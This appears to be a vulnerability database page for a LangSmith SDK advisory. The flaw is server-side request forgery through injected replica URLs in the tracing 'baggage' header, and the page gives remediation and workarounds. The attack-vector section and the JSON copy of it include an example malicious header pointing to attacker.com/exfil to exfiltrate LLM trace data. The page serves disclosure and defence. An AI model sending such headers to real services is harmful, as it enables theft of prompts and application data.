BREW-LANGGRAPH-CLI-CVE-2… (GHSA-V34V-RQ6J-CJ6P)
Vulnerability from osv_homebrew – Published: 2026-08-13 17:02 – Updated: 2026-09-10 00:18 – Source websiteSummary
The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary api_url values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.
Description
When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.from_headers() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including api_url and api_key fields.
Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.
Attack Vector
-
Attacker sends an HTTP request to a vulnerable service with a malicious
baggageheader:baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}] -
The service parses the header via
RunTree.from_headers(), storing the attacker's URL -
When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to
https://attacker.com/exfil
Impact
- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services
Affected Use Cases
Applications are vulnerable if they:
- Use TracingMiddleware to automatically propagate tracing context
- Call RunTree.from_headers() / RunTree.fromHeaders() with untrusted HTTP headers
Remediation
Update to the patched versions:
- Python: pip install langsmith>=0.6.3
- JavaScript: npm install langsmith@>=0.4.6
The fix filters incoming replica configurations to an allowlist of safe fields, removing api_url, api_key, and other credential fields.
Workarounds
If unable to upgrade immediately:
- Strip or validate the baggage header before passing to from_headers()
- Do not use TracingMiddleware with untrusted traffic
| Ecosystem | Package | Version |
|---|---|---|
| Homebrew |
langgraph-cli
pkg:brew/langgraph-cli
|
Affected: < 0.4.31 (ecosystem)
|
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "langsmith",
"resource_purl": "pkg:pypi/langsmith@0.10.2",
"upstream_fixed_in": "0.6.3"
},
"package": {
"ecosystem": "Homebrew",
"name": "langgraph-cli",
"purl": "pkg:brew/langgraph-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.31"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/langsmith@0.10.2",
"name": "langsmith",
"resource": "langsmith",
"strategy": "registry",
"subject_version": "0.10.2"
}
]
},
"details": "## Summary\n\nThe LangSmith SDK\u0027s distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.\n\n---\n\n## Description\n\nWhen using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.\n\nPrior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK\u0027s `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.\n\n---\n\n## Attack Vector\n\n1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:\n ```\n baggage: langsmith-replicas=[{\"api_url\":\"https://attacker.com/exfil\",\"project_name\":\"x\"}]\n ```\n\n2. The service parses the header via `RunTree.from_headers()`, storing the attacker\u0027s URL\n\n3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`\n\n---\n\n## Impact\n\n- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers\n- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services\n\n---\n\n## Affected Use Cases\n\nApplications are vulnerable if they:\n- Use `TracingMiddleware` to automatically propagate tracing context\n- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers\n\n---\n\n## Remediation\n\nUpdate to the patched versions:\n- **Python:** `pip install langsmith\u003e=0.6.3`\n- **JavaScript:** `npm install langsmith@\u003e=0.4.6`\n\nThe fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.\n\n---\n\n## Workarounds\n\nIf unable to upgrade immediately:\n- Strip or validate the `baggage` header before passing to `from_headers()`\n- Do not use `TracingMiddleware` with untrusted traffic",
"id": "BREW-langgraph-cli-CVE-2026-25528",
"modified": "2026-09-10T00:18:25Z",
"published": "2026-08-13T17:02:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/langchain-ai/langsmith-sdk/security/advisories/GHSA-v34v-rq6j-cj6p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25528"
},
{
"type": "PACKAGE",
"url": "https://github.com/langchain-ai/langsmith-sdk"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection",
"upstream": [
"GHSA-v34v-rq6j-cj6p",
"CVE-2026-25528",
"PYSEC-2026-2584"
]
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.